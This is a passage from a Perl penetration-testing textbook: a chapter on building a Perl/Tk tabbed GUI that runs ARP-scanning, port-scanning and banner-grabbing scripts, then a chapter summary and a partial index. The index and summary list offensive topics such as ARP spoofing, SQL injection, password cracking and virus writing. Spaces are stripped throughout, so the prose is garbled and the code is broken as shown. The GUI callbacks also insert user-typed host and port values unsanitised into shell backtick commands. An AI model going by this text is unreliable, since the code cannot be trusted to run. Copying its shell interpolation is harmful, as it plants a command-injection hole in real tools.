NoteWhenstartingaPerl/Tkapplication,thefontmightnotalwaysbewhatwe’dlikeittobe.Infact,sometimesitcanbehardtoreaddependingonourscreenDPI,windowmanager,andotherfactors.Fortunately,thetoolkitallowsustopassafontandfontsizeasanargumenttoourPerl/Tkapplicationinthefollowingform:-font“Helvetica10”
ThisisaninstanceforaGUIapplicationwiththeHelveticafontatsize10.
![Page 324: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/324.jpg)
Theprecedingscreenshotshowsthetk_scanner.plprogram.Itrunsourpreviouslywrittencodehostscanner.planddisplaysitnicelyintoour$oPadROTextobject.SincetheInsert()method’sfirstargumentwasend,the@hostsarraywillbeappendedtoanythingpreviouslywritteninthepadwidget.ThismeansthatwecanhittheScanbuttonmultipletimesandviewalloftheoutputwiththescrollbarontherightside!
ThisisaverybasicexampleofhowtocreateaGUIapplicationusingthePerl/Tklibrary.It’seasytoimagineallofthepossibilitieswearenowpresentedwith!Wecanhavemultiplebuttons,whichwritetothesameROTextobjectaftercallingmultipleapplications,orwecanhavethemwritetomultipleROTextpads.Thisbringsuptheimportantissueofrealestatespaceinourwindowmanager.ThePerl/Tktoolkitprovidesuswithwaysinwhichwecansavespace,includingmakingtabbedenvironments,whichwewilllookatinthenextsection.
![Page 325: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/325.jpg)
AtabbedGUIenvironmentAswehavelearnedintheprevioussectionsofthischapter,it’sagoodideatoplanouthowwewantourapplicationtolook,aftergatheringalltherequirementsoftheinputandoutputdata.Thiswillallowustocreateaninterfacethatisalotsmootherforouruserstooperate.Sincenotallscreensareofthesamesize,thedevelopersoftheTklibraryhavecreatedaconvenienttabbedTk::NoteBooklibraryfordeveloperswhohavetoorganizealargeamountofinputandoutputdata.Let’snowcombinethreeapplicationsthatwehavealreadywritteninChapter3,IEEE802.3WiredNetworkMappingwithPerl,intoaclean,tabbedGUIusingtheTk::NoteBooklibrary.Wewillbegin,asalways,byanalyzingthecodeinsections:#!/usr/bin/perl-w
usestrict;
useTk;
useTk::NoteBook;
useTk::ROText;
my$mw=MainWindow->new(
-title=>“tabbedwindowenvironment”,
-background=>“black”,
-foreground=>“lightblue”
);
$mw->geometry(“520x400+100+300”);
TheprecedingcodeisattheverytopofourPerlcode.Wehavecoveredalloftheselinesintheprevioussections,exceptfortheTk::NoteBookmodule.AwidgetfromthisclassisinstantiatedintoourTkwindow,asfollows:my$book=$mw->NoteBook(
-ipadx=>0,
-foreground=>“lightblue”,
-background=>“black”,
-backpagecolor=>“black”,
-inactivebackground=>“black”
)->grid(
-row=>0,
-column=>0,
-sticky=>“w”,
-pady=>10
);
TheNoteBook()methodtakesonlytwonewargumentsforstyling,backpagecolorandinactivebackground.Thissetstheframeforourtabs.Weaddtabswiththefollowingsyntax:my$tab1=$book->add(“Sheet1”,-label=>“ARPHostScanner”);
my$tab2=$book->add(“Sheet2”,-label=>“PortScanner”);
my$tab3=$book->add(“Sheet3”,-label=>“BannerGrabbing”);
Here,wehaveaddedthreetabobjectswithlabels.ThisapplicationwillmakeuseoftheARPhostscanner,theportscanner,andthebannergrabbingtoolthatwehavealreadywritteninthesamemanneraswedidwiththescanner.plprogramintheprevioussubsection.Nowwecaneasilyaddwidgetstoeachtabbyusingthesamemethodsthatwe
![Page 326: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/326.jpg)
usedwhenaddingittothe$mwobjectofMainWindowintheprevioussubsections.Let’sstartwiththeARPscanner:#TheARPScanner:
$tab1->Label(-text=>“ARPScanning”)->grid(-row=>0,-column=>0);
$tab1->Button(
-text=>“Scan”,
-command=>\&hostScan,
)->grid(
-row=>0,
-column=>1,
-padx=>5
);
my$oPad=$mw->Scrolled(
‘ROText’,
-scrollbars=>“e”,
-width=>“65”,
-height=>“10”,
-foreground=>“lightblue”,
-background=>“black”
)->grid(
-row=>1,
-columnspan=>5,
-pady=>5,
-column=>0
);
Thecodehereisallittakestoaddthewidgetstothetabobjects.Wealsoaddedanoutputpad$oPadROTextobjectfortheoutputofallofourPerlprogramstogointo.Theentirecodewascoveredintheprevioussubsection.Let’snowaddtheportscannerwidgetstotheportscannertab:#ThePortScanner:
my($host,$ports,$localip)=““x3;
$tab2->Label(-text=>“Host:“)->grid(-row=>0,-column=>0,-sticky=>“w”,-
pady=>5);
$tab2->Entry(-textvariable=>\$host)->grid(-row=>0,-column=>1,-sticky=>“w”);
$tab2->Label(-text=>“PortRange:“)->grid(-row=>1,-column=>0,-sticky=>“w”);
$tab2->Entry(-textvariable=>\$ports)->grid(-row=>1,-column=>1,-
sticky=>“w”);
$tab2->Label(-text=>“MyIP:“)->grid(-row=>2,-column=>0,-sticky=>“w”);
$tab2->Entry(-textvariable=>\$localip)->grid(-row=>2,-column=>1,-
sticky=>“w”);
$tab2->Button(
-text=>“Scan”,
-command=>\&portScan,
)->grid(
-row=>3,
-column=>0,
-sticky=>“we”,
-pady=>5
);
Theprecedingcodeisallthatisneededtoaddtheportscannerprogramintoourtabs.Allofthiscodewasalsocoveredpreviously,solet’saddourfinaltab’scontentofthebannergrabbingfunctionality:
![Page 327: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/327.jpg)
#Bannergrabber:
$tab3->Label(-text=>“Host:”)->grid(-row=>0,-column=>0);
$tab3->Entry(-textvariable=>\$host)->grid(-row=>0,-column=>1,-padx=>5,-
pady=>5);
$tab3->Label(-text=>“Ports:”)->grid(-row=>1,-column=>0);
$tab3->Entry(-textvariable=>\$ports)->grid(-row=>1,-column=>1,-padx=>5);
$tab3->Button(
-text=>“Scan”,
-command=>\&bannerGrab,
)->grid(
-row=>2,
-column=>0,
-pady=>5,
-sticky=>“ew”
);
Theprecedingcodeisverysimilartotheearliersectionsforaddingwidgetstoatabobject,solet’smoverightalongandnowaddthefunctionalitytoexittheapplication:#ExitButton:
$mw->Button(
-text=>“Exit”,
-command=>sub{exit;}
)->grid(
-row=>2,
-column=>4,
-pady=>5,
-sticky=>“e”
);
MainLoop();
Here,wehaveaddedtheexitButtonwidget,justaswedidinthescanner.plGUIprogramthatwecreatedintheprevioussubsection.WealsocloseofftheworkflowcodewithacalltoMainLoop(),whichwilldrawourwindowandwidgetsandevenhandlethebutton-clickingevents.Nowallwehavetodoiswritethreesubroutinesforourcallbackfunctionality:subhostScan(){
my@hosts=`perlscanner.pl`;
$oPad->insert(“end”,@hosts)if(scalar(@hosts)>0);
return;
}
subportScan(){
#Argumentsyntax:192.168.2.120-100syn192.168.2.2100
my@ports=`perlportscanner.pl$host$portssyn$localip10`;
$oPad->insert(“end”,@ports)if(scalar(@ports)>0);
return;
}
subbannerGrab(){
#Argumentsyntax:perlbannergrab.pl192.168.2.2tcp8010
my@data=`perlbannergrab.pl$hosttcp$ports1`;
$oPad->insert(“end”,@data)if(scalar(@data)>0);
return;
}
EachofthesubroutinesinthiscodesimplyslurpstheoutputofthecalledPerlprogram
![Page 328: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/328.jpg)
intoanarray,andifthearraycontentsizeisgreaterthanzero(atleastasingleelement),wesendittothe$oPadoutputpadobjectatthebottomofthescreenusingtheinsert()method.AlittlebitofPerlgolfingcanbedoneheretocombineallthreesubroutinesintoasinglesubroutineandsimplypassthetypeofscanasanargumentintothe–command=>sub{}argumentfortheButtonobjects,butwehavethemseparatedsothattheycanbeeasilyunderstoodoneatatimeforbeginnerstothePerl/Tklibrary.Nowlet’stakealookatascreenshotofournewGUIprograminaction:
TheprecedingscreenshotdisplaysournewPerl/Tkprograminallitsglory.Isn’tsheabeauty?ThetabsatthetopwilldisplaytheEntryandButtonwidgetsforeachcorrespondingtabtitle.Sinceweusedthesamethreevariablespersubroutine,theywillautomaticallypopulatewithineachtabaswetypethemintoasinglefield.Forinstance,onthePortScannertab,wehavea$hostEntrywidget,whichwealsohaveintheBannerGrabbingtab.IfwetypeahostorcopyandpastefromtheROTextwidget,asshowninthefollowingscreenshot,intotheHostEntrywidgetonthePortScannertab,itwillautomaticallypopulatetheHostEntrywidgetontheBannerGrabbingtab:
![Page 329: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/329.jpg)
ThisisyetanothergreatconveniencethattheMainLoop()functionprovides.Let’stakeapeekunderthetabforthePortScannerfunction:
Theprecedingscreenshotshowstheportscanningportscanner.plprogramthatwehavewrittenbeingrunwithinourPerl/Tkapplication,andtheoutputisdisplayedintothe$oPadoutputpadobject.Let’stabonovertothefinalportionofoursuiteandanalyzethebannergrabbingfunctionalityinthefollowingscreenshot:
![Page 330: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/330.jpg)
Aswecansee,theoutputfromthescanisappendedtoanytextwithinthe$oPadoutputpadobjectfromthepreviousportscan.Wecouldhaveoptionallydumpedallofthisdatadirectlyintoalogfile,aswelearnedinChapter12,Reporting.
![Page 331: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/331.jpg)
SummaryThisisagreatwaytoeasilycombineallofourcodeintoasingle,organizedspaceusingthePerl/Tklibrary.Thisskillcanreallygoalongwayindevelopingafullpenetrationtestingsuite,whichcancombine20ormoreprogramsintoasinglespacethatisincrediblyeasytouse!Thischapterisalsoagreatexercisetoconcludeourprogramminglessonsfornow.ThePerl/Tklibraryoffersfarmorefunctionality,andlikemostsubjectsinthisbook,deserves(andhas)booksofitsowndevotedtothesubject.It’sgoodtokeepinmindthatwealwayshaveaccesstothefree,onlineCPANsearchsiteresourcesearch.cpan.orgforanydocumentationandexamplesforanyofthePerlmodulesthatwehaveusedsofar.
ThischapterconcludesourlessonsonusingPerltodeveloppenetration-testingapplications.Fromthebeginningofourjourney,wediscoveredtheimportanceofregularexpressions.WetookaglimpseintotheharmonybetweenLinuxandPerl.Movingon,welearnedaboutwiredpacketsniffing,packetanalysis,andnetworkmanipulation.Wedisassembled802.11packetsandanalyzedwirelesstraffic.Afterthis,wetookalookathowtoperformwebapplicationpenetrationtestingandhowtocompromisedatabases.WecrackedWPA2EAPOLhandshakehashesandotherpassword-hashingalgorithmsinamultiprocessorenvironmentusingthreads.Then,wediscoveredhowtogleanpersonaldatasimplyfromEXIFmetadatainformationfrompublicallyavailablefiles,socialengineeraclienttarget,andevenhowtowriteviruses.Finally,wewereabletodevelopskillsforkeepingrecordsofourtravelswhilepenetrationtestingbygeneratingourownSQLdatabaserecords,HTMLandPDFreports.
NotonlyisitimportanttorememberthatallofthisdonewithjustPerl,butthatourjourneydoesnotendhere.Ifwehavecomethisfar,whyshouldwestop?WeknowthatPerlispowerfulenoughtotakeusanywherewewish.Oursuccessmightverywellbebasedonjusthowfarthisjourneytakesus.
![Page 332: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/332.jpg)
IndexA
@ARGVarray/Variableexpansion,grouping,andargumentsAccessPoint(AP)/AbruteforceapplicationAccessPoints(APs)/Managementframesactivedevicefingerprinting/Designingourownlivehostscanneractiveintelligencegathering/MitMAircrack-ng
andPerl/PerlandAircrack-ngAirmon-ng
about/LinuxwirelessutilitiesAmericanRegistryforInternetNumbers(ARIN)/TheWhoisqueryanchors
about/Anchorsapplicationlayer/Theapplicationlayerapplicationprogramminginterfaces(APIs)/UsingGooglefore-mailaddressgatheringarguments
about/Variableexpansion,grouping,andargumentsARP
scanningtools/AddressResolutionProtocolscanningtoolsversusICMP/InternetControlMessageProtocolversusTransmissionControlProtocolversusARPdiscoveryversusTCP/InternetControlMessageProtocolversusTransmissionControlProtocolversusARPdiscovery
arpspoof()subroutine/ARPspoofingwithPerlARPspoofing
withPerl/ARPspoofingwithPerlatleastonequantifier(+)/Quantifiers
![Page 333: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/333.jpg)
B
backreferencesabout/Backreferences
bannergrabbingabout/Bannergrabbing
bashbuilt-incommandsandvariables/Built-inbashcommandsprogramming/Basicbashprogramming
bash,built-incommandsandvariablesifcommand/Built-inbashcommandsthencommand/Built-inbashcommandselifcommand/Built-inbashcommandselsecommand/Built-inbashcommandsficommand/Built-inbashcommandsforcommand/Built-inbashcommandswhilecommand/Built-inbashcommandsdocommand/Built-inbashcommandsdonecommand/Built-inbashcommandsprintfcommand/Built-inbashcommandsreadcommand/Built-inbashcommands=~command/Built-inbashcommands$$command/Built-inbashcommands$!command/Built-inbashcommands$#command/Built-inbashcommands$@command/Built-inbashcommands$ncommand/Built-inbashcommands${!x}command/Built-inbashcommands$(cmd)command/Built-inbashcommands`cmd`command/Built-inbashcommands$htmlcommand/Built-inbashcommands(cmd1;cmd2)command/Built-inbashcommands
bashcommandexecuting,fromPerl/BashcommandexecutionfromPerl
bashshellscriptabout/Scriptexecutionfrombash
BasicServiceSet(BSS)/Four-wayHandshakeBasicservicesetidentifier(BSSID)/ControlanddataframesBasicServiceSetIdentifier(BSSID)/802.11EAPOLMessage1bruteforceapplication
about/Abruteforceapplicationbruteforceenumeration/Bruteforceenumeration
![Page 334: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/334.jpg)
C
callbackfunctionsabout/Event-drivenprogramming
cap()subroutine/Networkremappingwithpacketcapturecascadingstylesheet(CSS)/Widgetsandthegridcascadingstylesheets(CSS)
about/HTMLreportingchannelhopping
about/802.11packetcapturingwithPerlcharacter/Quantifierscharacterclasses
about/Characterclassesrangedcharacterclasses/Rangedcharacterclasses
class-baseddevicemodelabout/Linuxwirelessutilities
classlessinterdomainrouting(CIDR)/WritinganSMBscannerCMS
about/Contentmanagementsystemscolumncount
discovering/Discoveringthecolumncountcontrolframes,802.11packetclasses
about/Controlanddataframes0x0brequesttosend(RTS)/Controlanddataframes0x0ccleartosend(CTS)/Controlanddataframes0x0dacknowledgement(ACK)/Controlanddataframes
CPANURL/CPANPerlmodulesabout/CPANPerlmodulesPerlmodules/CPANPerlmodules
CPANcodebaseURL/Files
CPANminus/CPANminusCPANPerlmodules/CPANPerlmodulescredentialinformation
gathering,fromSSH/PerlLinux/Unixvirusescross-sitescripting(XSS)/RegularexpressionsCSV
versusTXT/CSVversusTXT
![Page 335: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/335.jpg)
D
datalogging,toMySQL/LoggingdatatoMySQL
data-drivenblindSQLinjectionabout/Data-drivenblindSQLinjection
dataframes,802.11packetclassesabout/Controlanddataframes
DCAabout/Digitalcredentialanalysis
denialofservice(DoS)/WritinganSMBscannerdenialofservice(DoS)attack/ManagementframesDigitalCredentialAnalysis(DCA)/FacebookDIGquery/TheDIGqueryDistributionSystem(DS)/802.11frameheadersDistributionsystem(DS)/ControlanddataframesDNS
about/DomainNameServicesWhoisquery/TheWhoisqueryDIGquery/TheDIGquerybruteforceenumeration/Bruteforceenumerationzonetransfers/Zonetransferstraceroute/TracerouteShodan/Shodan
docommand/Built-inbashcommandsdocumenting,withPerl
about/DocumentingwithPerlSTDOUTpiping/STDOUTpipingCSV,versusTXT/CSVversusTXT
donecommand/Built-inbashcommandsdpkg
used,forreconfiguringexim4-configpackage/SettingupExim4
![Page 336: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/336.jpg)
E
802.11EAPOLMessage1/802.11EAPOLMessage1802.11EAPOLMessage2/802.11EAPOLMessage2e-mailaddressgathering
about/E-mailaddressgatheringGoogle,usingfor/UsingGooglefore-mailaddressgatheringsocialmedia,usingfor/Usingsocialmediafore-mailaddressgathering
e-mailsspoofing,withPerl/Spoofinge-mailswithPerl
elifcommand/Built-inbashcommandselsecommand/Built-inbashcommandsencode()subroutine/PerlLinux/UnixvirusesEND{}block/FilediscoveryEvent-drivenprogramming
about/Event-drivenprogrammingExecutiveReport
about/ExecutiveReportExif
about/MetadataandExifExim4
settingup/SettingupExim4exim4-configpackage
reconfiguring,dpkgused/SettingupExim4ExploitDatabase
URL/Designingourownportscannerexploits,WordPress
URL/ContentmanagementsystemsExtendedservicesetidentifier(ESSID)/Controlanddataframesexternalfootprinting
about/Footprinting
![Page 337: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/337.jpg)
F
802.11frameheadersabout/802.11frameheaders
Facebook/Facebookficommand/Built-inbashcommandsfilediscovery/Filediscoveryfileinclusion
about/FileinclusionvulnerabilitydiscoveryLFI/LocalFileInclusionRFI/RemoteFileInclusion
filesabout/Files
filteringsyntaxarphost<IP>/Packetcapturefilteringdsthost<IP>/Packetcapturefilteringsrchost<IP>/Packetcapturefilteringetherdst<MAC>/Packetcapturefilteringethersrc<MAC>/Packetcapturefilteringether/Packetcapturefilteringdstport<integer>/Packetcapturefilteringtcp/Packetcapturefilteringudp/Packetcapturefilteringsrcport<integer>/Packetcapturefilteringrarp/Packetcapturefilteringip/Packetcapturefilteringarp/Packetcapturefilteringip6/PacketcapturefilteringGateway<host>/Packetcapturefiltering
forcommand/Built-inbashcommandsforeach()loop/Zonetransfers,PerlLinux/Unixviruses
![Page 338: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/338.jpg)
G
getCount()subroutine/Time-basedblindSQLinjectiongetHosts()callbackfunction/TheGUIhostdiscoverytoolgetLength()subroutine/Time-basedblindSQLinjectiongetPass()subroutine/PerlLinux/UnixvirusesGETrequests
about/GETrequestsintegerSQLinjection/IntegerSQLinjectionstringSQLinjection/StringSQLinjection
getSSH()subroutine/PerlLinux/Unixvirusesget_unique()method/StringSQLinjectionGoogle
used,fore-mailaddressgathering/UsingGooglefore-mailaddressgatheringGoogle+/Google+Googledorks
about/GoogledorksintitleTopicn<string>/GoogledorksfiletypeTopicn<ext>/GoogledorkssiteTopicn<domain>/GoogledorksinurlTopicn<string>/Googledorks-<word>/GoogledorkslinkTopicn<page>/Googledorks
Googlehacker’sdatabaseURL/Googledorks
graphing,withPerl/GraphingwithPerlgrep()function
using,withregularexpressions/Regularexpressionsandthegrep()function/Zonetransfersgrid()method/Widgetsandthegridgridlayoutdesign/ExplainingthePerl/TkwidgetsGUIhostdiscoverytool
about/TheGUIhostdiscoverytool
![Page 339: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/339.jpg)
H
here-documentsoperator/Inputredirectionheredocument
about/HTMLreportinghostcommand/ZonetransfersHTMLreporting
about/HTMLreportinghumanpsychology/Psychology
![Page 340: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/340.jpg)
I
ICMPabout/InternetControlMessageProtocolversusTransmissionControlProtocolversusARPdiscoveryversusTCP/InternetControlMessageProtocolversusTransmissionControlProtocolversusARPdiscoveryversusARP/InternetControlMessageProtocolversusTransmissionControlProtocolversusARPdiscovery
ifcommand/Built-inbashcommandsinput
redirection/Inputredirectioninput/outputstreams
about/Input/outputstreamsoutput,tofiles/Outputtofilesinput,redirection/Inputredirectionoutput,toinputstream/Outputtoaninputstreamerrorhandling,withshell/Errorhandlingwiththeshell
integerSQLinjection/IntegerSQLinjectioninternalfootprinting
about/FootprintingInternetAssignedNumbersAuthority(IANA)/DesigningourownportscannerInternetfingerprinting/Internetfootprintingintitlekeyword/Google+
![Page 341: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/341.jpg)
J
JSONabout/Usingonlineresourcesforpasswordcracking
![Page 342: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/342.jpg)
K
killfunction/Killingrunawayforkedprocesses
![Page 343: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/343.jpg)
L
LFIabout/LocalFileInclusionlogfilecodeinjection/Logfilecodeinjection
lighttpdwebserver/TheapplicationlayerLinkedIn/LinkedInLinux
wirelessutilities/Linuxwirelessutilitiespasswords/Linuxpasswords
literalsversusmetacharacters/Literalsversusmetacharacters
livehostscannerdesigning/Designingourownlivehostscannerportscanner,designing/Designingourownportscannerbannergrabbing/Bannergrabbingbruteforceapplication/Abruteforceapplication
log()function/UsingtheMail::SendmailPerlmodulelogfilecodeinjection
about/Logfilecodeinjection
![Page 344: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/344.jpg)
M
m//matchingoperator/ThePerlm//matchingoperatorMail**SendmailPerlmodule
using/UsingtheMail::SendmailPerlmodulemanagementframes,802.11packetclasses
about/Managementframesmanyofthelastpattern/QuantifiersMD5cracking
about/CrackingSHA1andMD5using,withPerl/MD5crackingwithPerl
MessageIntegrityCode(MIC)/802.11EAPOLMessage2metacharacters
versusliterals/Literalsversusmetacharacters\s/Literalsversusmetacharacters\S/Literalsversusmetacharacters\w/Literalsversusmetacharacters\W/Literalsversusmetacharacters\d/Literalsversusmetacharacters\D/Literalsversusmetacharacters\n/Literalsversusmetacharacters^/Literalsversusmetacharacters$/Literalsversusmetacharacters()/Literalsversusmetacharacters(x|y)/Literalsversusmetacharacters[a-zA-Z]/Literalsversusmetacharacters./Literalsversusmetacharacters*/Literalsversusmetacharacters?/Literalsversusmetacharacters+/Literalsversusmetacharacters{x}/Literalsversusmetacharacters{x,}/Literalsversusmetacharacters{x,y}/Literalsversusmetacharacters
metadataabout/MetadataandExifextracting/Metadataextractorextracting,fromimages/Extractingmetadatafromimagesextracting,fromPDFfiles/ExtractingmetadatafromPDFfiles
MitMabout/MitMARPspoofing,withPerl/ARPspoofingwithPerl
Modprobeabout/Linuxwirelessutilities
MozillaFirefoxHackBaradd-onURL/PerlLinux/Unixviruses
![Page 345: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/345.jpg)
MySQLdata,loggingto/LoggingdatatoMySQLURL,fordocumentation/LoggingdatatoMySQL
MySQLpostexploitationabout/MySQLpostexploitationcolumncount,discovering/Discoveringthecolumncountserverinformation,gathering/Gatheringserverinformationtableresultsets,obtaining/Obtainingtableresultsetsrecords,obtaining/Obtainingrecords
![Page 346: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/346.jpg)
N
Net$$Frame$$Deviceclass/ARPspoofingwithPerlNetBIOSnameservice(NBNS)/WritinganSMBscannernetworkaddresstranslation(NAT)/ARPspoofingwithPerlnetworkinterfacecard(NIC)/Designingourownlivehostscannernetworkremapping
withpacketcapture/NetworkremappingwithpacketcaptureNmap/InternetControlMessageProtocolversusTransmissionControlProtocolversusARPdiscoveryNoteBook()method/AtabbedGUIenvironment
![Page 347: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/347.jpg)
O
onlineresourcesused,forpasswordcracking/Usingonlineresourcesforpasswordcracking
OpenSourceIntelligence(OSINT)/Summaryorganizationallyuniqueidentifier(OUI)/Designingourownportscanneroutput
tofiles/Outputtofilestoinputstream/Outputtoaninputstream
![Page 348: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/348.jpg)
P
802.11packetcapturingwithPerl/802.11packetcapturingwithPerl
802.11packetclassesabout/802.11terminologiesandpacketanalysismanagementframes/Managementframescontrolframes/Controlanddataframesdataframes/Controlanddataframes
802.11protocolanalyzerwriting,inPerl/Writingan802.11protocolanalyzerinPerl
packetcapturing/Packetcapturingcapture,filtering/Packetcapturefilteringlayers/Packetlayers
packetcapturenetwork,remappingwith/Networkremappingwithpacketcapture
packetforwardingenabling/Enablingpacketforwarding
packetlayersapplicationlayer/Theapplicationlayer
PairwiseMasterKey(PMK)/802.11EAPOLMessage1PairwiseTransientKey(PTK)/802.11EAPOLMessage1parameterexpansionvariable
about/Variableexpansion,grouping,andargumentsparameters,passingtotshark
n/ARPspoofingwithPerll/ARPspoofingwithPerlieth0/ARPspoofingwithPerlfarp/ARPspoofingwithPerl
parenthesisfirstconcept/Variableexpansion,grouping,andargumentsparsePage()subroutine/Gatheringserverinformationpassivescanning
about/RFMONversusprobingPassword-BasedKeyDerivationFunction2(PBKDF2)/802.11EAPOLMessage1passwordcracking
onlineresources,using/Usingonlineresourcesforpasswordcrackingonlineresources,URL/Usingonlineresourcesforpasswordcracking
pcap_dump()function/Networkremappingwithpacketcapturepcap_lookupdevmethod/ARPspoofingwithPerlPDFfile
creating,Perlused/CreatingaPDFfilePenetrationTestingExecutionStandard(PTES)/FilesPerl
stringfunctions/Perlstringfunctionsandoperators
![Page 349: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/349.jpg)
m//matchingoperator/ThePerlm//matchingoperators///substitutionoperator/ThePerls///substitutionoperators///substitutionoperatorTopicnabout/ThePerls///substitutionoperatorbashcommand,executing/BashcommandexecutionfromPerlARPspoofingwith/ARPspoofingwithPerl802.11packetcapturing/802.11packetcapturingwithPerl802.11protocolanalyzer,writing/Writingan802.11protocolanalyzerinPerlandAircrack-ng/PerlandAircrack-ngusing/What’scoveredmodules/What’scoveredSHA1cracking/SHA1crackingwithPerlparallelprocessing/ParallelprocessinginPerlMD5cracking/MD5crackingwithPerlWPA2passphrasecracking/WPA2passphrasecrackingwithPerl,ThePerlWPA2crackingprograme-mails,spoofingwith/Spoofinge-mailswithPerldocumentingwith/DocumentingwithPerlgraphingwith/GraphingwithPerlused,forcreatingPDFfile/CreatingaPDFfile
Perl/Tkwidgetsabout/ExplainingthePerl/Tkwidgets
